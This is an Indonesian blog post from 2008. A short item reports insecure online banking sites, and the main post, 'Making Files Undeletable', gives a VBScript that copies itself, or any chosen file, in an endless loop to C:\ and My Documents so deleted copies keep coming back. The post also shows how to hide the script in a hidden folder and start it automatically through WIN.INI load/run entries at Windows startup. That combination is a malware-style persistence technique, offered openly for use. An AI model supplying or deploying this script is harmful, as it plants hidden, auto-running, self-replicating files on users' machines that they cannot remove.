Sebuah penelitian oleh universitas Michigan menemukan lebih dari 75% atau 214 situs Online Banking tidak aman. Kelemahan-kelemahan utama adalah tidak adanya SSL login, halaman contact us yang tidak aman, dan redireksi ke situs lain tanpa peringatan bahwa pengguna akan meninggalkan situs online banking tersebut.
----------------------
Membuat File Tidak Dapat Dihapus
Sun, 07/13/2008 - 19:15 — rosedragon
Dim fso,File
SR = ".\RS.vbs"
do
set fso = createobject("scripting.filesystemobject")
set File=fso.GetFile(SR)
File.Copy "C:\my documents\antis.vbs"
File.Copy "c:\antis.vbs"
loop
tulis script diatas dan simpan dengan nama RS.vbs lalu jalankan,dia akan mengcopykan diri sendiri di my documents dan di drive C dengan nama antis.vbs,nah sekarang coba delete antis.vbs yang ada di drive C ato di My documents,memang awalnya bisa dihapus tapi dia akan menciptakan lagi.woi kok gak sesuai judulnya,katanya semua file dapat jadi ANTIDELETION,memang bisa caranya.ubah parameter SR dengan file yang anda suka misal nih
SR=".\AKU.txt" trus juga nama file di drive nya juga dapat sesuka kamu kok contoh
File.Copy "C:\KAMU.txt" maka dijamin KAMU.txt ketika selesai tercopy gak akan bisa terhapus.kelemahannya RS.vbs(script pengantarnya) ga boleh terhapus dan harus tereksekusi,untuk mengatasi ini kamu dapat menyembunyikan RS.vbs di folder yang Hidden dan agar tereksekusi otomatis kamu bisa gunakan manipulasi WIN.INI agar me-RUN RS.vbs otomatis saat windows starting.
[windows]
load=c:\hidden_folder\RS.vbs run=c:\hidden_folder\RS.vbs
NB: Trik ini disadur dari situs lain, beberapa tahun lalu sehingga saya lupa darimana saya mendapatkannya.